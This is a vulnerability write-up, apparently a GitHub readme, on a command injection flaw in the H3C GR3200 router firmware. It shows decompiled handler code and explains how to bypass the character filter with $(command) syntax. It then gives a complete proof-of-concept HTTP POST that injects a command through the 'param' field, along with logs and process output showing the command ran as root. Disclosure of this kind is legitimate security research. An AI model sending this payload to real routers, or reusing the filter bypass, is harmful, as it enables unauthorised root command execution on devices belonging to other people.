

 main ▾

...

[vuln](#) / [H3C](#) / [GR3200](#) / [1](#) / [readme.md](#)



Darry-lang1 Update readme.md

 History

 1 contributor



57 lines (36 sloc) | 2.21 KB

...

H3C GR3200 MiniGR1B0V100R014 Has an command injection vulnerability

Overview

- Manufacturer's website information: <https://www.h3c.com/>
- Firmware download address :
https://www.h3c.com/cn/d_202202/1542099_30005_0.htm

Product Information

Overview of affected versions of H3C GR3200 router:

登录

国家 / 地区

H3C

数字化解决方案领导者

≡ 导航

产品与解决方案

行业解决方案

服务

支持

合作伙伴

新华三人才研学中心

关于我们

新华三商城

12 / 12

相关手册

联系我们

| | |
|----------------------------------|----|
| → H3C MiniGR1B0V100R014 版本软件及说明书 | 下载 |
| → H3C MiniGR1B0V100R013 版本软件及说明书 | 下载 |
| → H3C MiniGR1B0V100R012 版本软件及说明书 | 下载 |
| → H3C MiniGR1B0V100R011 版本软件及说明书 | 下载 |
| → H3C MiniGR1B0V100R010 版本软件及说明书 | 下载 |
| → H3C MiniGR1B0V100R009 版本软件及说明书 | 下载 |
| → H3C MiniGR1B0V100R008 版本软件及说明书 | 下载 |
| → H3C MiniGR1B0V100R007 版本软件及说明书 | 下载 |
| → H3C MiniGR1B0V100R006 版本软件及说明书 | 下载 |
| → H3C MiniGR1B0V100R005 版本软件及说明书 | 下载 |
| → H3C MiniGR1B0V100R004 版本软件及说明书 | 下载 |

Vulnerability details

H3C GR3200 (<=MiniGR1B0V100R014) was found to contain a command insertion vulnerability in DelL2tpLNSList.This vulnerability allows an attacker to execute arbitrary commands through the "param" parameter.

```

14  __int64 v13; // [sp+50h] [+50h] BYREF
15  char v14[256]; // [sp+58h] [+58h] BYREF
16  char v15[264]; // [sp+158h] [+158h] BYREF
17  int v16; // [sp+260h] [+260h]
18
19  v16 = a1;
20  v10 = 0LL;
21  v11 = 0LL;
22  memset(v12, 0, sizeof(v12));
23  v13 = 0LL;
24  memset(v14, 0, sizeof(v14));
25  memset(v15, 0, 0x100u);
26  v7 = (char *)websgetvar(v16, "param", (int)&unk_100E9D00);
27  if ( v7 )
28  {
29      strcpy(v14, "/bin/l2tpconfig -R 127.0.0.1 session delete ");
30      v8 = getelement(&v13, 8, v7, ';', 1);
31      v9 = atoi((const char *)&v13);
32      for ( i = 1; v9 >= (__int64)i; ++i )
33      {
34          if ( !getelement(v12, 32, v7, ';', i + 1)
35              && !getelement(&v10, 8, (char *)v12, ' ', 1)
36              && !getelement(&v11, 8, (char *)v12, ' ', 2) )
37          {
38              if ( sub_100695A4((__int64)&v10, 8) || sub_100695A4((__int64)&v11, 8) )
39                  return -2LL;
40              sprintf(v15, 0x100u, "%s tunnel_id=%s session_id=%s", v14, (const char *)&v10, (const char *)&v11);
41              v3 = getpid();
42              LODWORD(v4) = "ASP_L2TP_LNSListDel";
43              LODWORD(v5) = v15;
44              MW_SYSLOG_OP(
45                  184LL,
46                  6LL,
47                  3LL,
48                  2139095040LL,
49                  (__int64)"[%d][%s] %s: mp run cmd %s\n",
50                  (int)&unk_100E9D00,
51                  v3,
52                  (int)"ASP_L2TP_LNSListDel",
53                  v4,
54                  v5);
55              system(v15);
56              memset(v15, 0, 0x100u);
57          }
58      }
59      return v8;
60  }
61  else
62  {
63      v1 = getpid();
64      MW_SYSLOG_OP(
65          184LL,
66          3LL,

```

Format the param parameter we entered into v15 through the sprintf function, and execute our command through the system function. Because v10 and v11 are limited to 8 bytes, we can fill v10 with 8 bytes so that when %s in the sprintf function is formatted, v10 and v11 will be connected actively.

```

1 int __fastcall sub_46EE30(int a1, unsigned int a2)
2 {
3     size_t j; // [sp+18h] [+18h]
4     unsigned int i; // [sp+1Ch] [+1Ch]
5     int v5[2]; // [sp+20h] [+20h] BYREF
6
7     v5[0] = '|&'\0';
8     v5[1] = 0;
9     i = 0;
10    j = 0;
11    if ( !a1 || !a2 )
12        return -1;
13    for ( i = 0; i < a2 && *(_BYTE *)(a1 + i); ++i )
14    {
15        for ( j = 0; j < strlen((const char *)v5); ++j )
16        {
17            if ( *((char *)v5 + j) == *(char *)(a1 + i) )
18                return 1;
19        }
20    }
21    return 0;
22 }

```

Although the sub_100695A4 function filters some dangerous characters, we can bypass them with \$(command) .

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following poc attacks

POST /goform/aspForm HTTP/1.1

Host: 192.168.124.1:80

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Referer: http://192.168.124.1:80/maintain_basic.asp

Cookie: JSESSIONID=04f803a0

Upgrade-Insecure-Requests: 1

Content-Length: 67

CMD=DelL2tpLNList&GO=vpn_l2tp_session.asp¶m=1;\$(ps>/ww w/1) #;



```

te tunnel_id=$(ps>/www/1) I# session_id=w/1) I# [ASP_L2TP_LNListDel] ASP_L2TP_LNListDel: mp run cmd /bin/l2tpconfig -R 127.0.0.1 session dele

```

The picture above shows the debug log after POC is sent.

请求

Raw参数头Hex

GET / HTTP/1.1
Host: 192.168.124.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=04603a0
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sun Jul 24 10:50:13 2022
Pragma: no-cache
Cache-Control: no-cache

响应

Raw头HexRender

HTTP/1.0 200 OK
Date: Sun Jul 24 10:53:57 2022
Server: H3C-Miniware-Web
Last-Modified: Sun Jul 24 10:53:54 2022
Content-Length: 2648
Content-Type: text/html; charset=GB2312

| PID | Uid | VmSize | Stat | Command |
|-----|------|--------|------|----------------|
| 1 | root | 692 | S | init |
| 2 | root | | SW | [kthreadd] |
| 3 | root | | SW< | [ksoftirqd/0] |
| 4 | root | | SW | [kworker/0:0] |
| 5 | root | | SW< | [kworker/0:0H] |
| 6 | root | | SW | [kworker/u4:0] |
| 7 | root | | SW | [migration/0] |
| 8 | root | | SW | [rcu_bh] |
| 9 | root | | SW | [rcu_sched] |
| 10 | root | | SW | [migration/1] |
| 11 | root | | SW< | [ksoftirqd/1] |
| 12 | root | | SW | [kworker/1:0] |
| 13 | root | | SW< | [kworker/1:0H] |
| 14 | root | | SW< | [khelper] |
| 15 | root | | SW | [kworker/u4:1] |
| 122 | root | | SW< | [writeback] |
| 126 | root | | SW< | [bioset] |
| ... | ... | | | |

The above illustration shows the effect of command execution.